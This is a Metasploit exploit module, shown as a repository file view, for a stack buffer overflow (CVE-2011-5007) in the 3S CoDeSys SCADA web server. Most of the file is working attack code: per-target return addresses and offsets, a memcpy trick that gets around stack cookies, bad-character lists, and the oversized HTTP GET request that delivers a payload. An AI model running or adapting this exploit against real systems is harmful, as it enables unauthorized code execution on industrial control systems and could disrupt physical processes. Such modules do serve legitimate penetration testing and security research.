Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
135 lines
3.4 KiB
Ruby
135 lines
3.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SCADA 3S CoDeSys CmpWebServer <= v3.4 SP4 Patch 2 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a remote stack buffer overflow vulnerability in
|
|
3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Luigi Auriemma', # Original discovery and poc
|
|
'Celil UNUVER',
|
|
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Module Metasploit
|
|
'sinn3r',
|
|
'Michael Coppola'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-5007'],
|
|
[ 'OSVDB', '77387'],
|
|
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
|
|
[ 'EDB', '18187' ],
|
|
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
|
|
# The following clearifies why two people are credited for the discovery
|
|
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'false',
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'size' => 650,
|
|
'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e\x25\x3a\x5c",
|
|
},
|
|
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'CoDeSys v2.3 on Windows XP SP3',
|
|
{
|
|
'Ret' => 0x7E4456F7, # jmp esp user32
|
|
'Offset' => 775
|
|
}
|
|
],
|
|
[
|
|
'CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3',
|
|
{
|
|
# Abuse a memcpy() call to circumvent stack cookies
|
|
'Offset' => 525,
|
|
'Ret' => 0x02CDFD68,
|
|
'Src' => 0x02CDFD58,
|
|
'Dest' => 0x02CDFA14
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Dec 02 2011'
|
|
))
|
|
|
|
register_options([Opt::RPORT(8080)], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
sock.put("GET / HTTP/1.1\r\n\r\n")
|
|
res = sock.get(-1, 3)
|
|
disconnect
|
|
|
|
# Can't flag the web server as vulnerable, because it doesn't
|
|
# give us a version
|
|
vprint_line(res)
|
|
if res =~ /3S_WebServer/
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
if target.name =~ /v2\.3/
|
|
buffer = rand_text(target['Offset'])
|
|
buffer << [target.ret].pack('V')
|
|
buffer << make_nops(8)
|
|
buffer << payload.encoded
|
|
|
|
else
|
|
# CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
|
|
buffer = rand_text_alphanumeric(target['Offset'])
|
|
buffer << [target.ret].pack('V')
|
|
buffer << [target['Src']].pack('V')
|
|
buffer << [target['Dest']].pack('V')
|
|
buffer << [0x7FFFFFFF].pack('V') # Satisfy signed comparison
|
|
buffer << make_nops(8)
|
|
buffer << payload.encoded
|
|
buffer << "\\a"
|
|
end
|
|
|
|
sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(sploit)
|
|
res = sock.get_once
|
|
print_line(res) unless res.nil?
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|
|
|
|
=begin
|
|
target.ret verified on:
|
|
- Win XP SP3 unpatched
|
|
- Win XP SP3 fully-patched
|
|
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
|
|
=end
|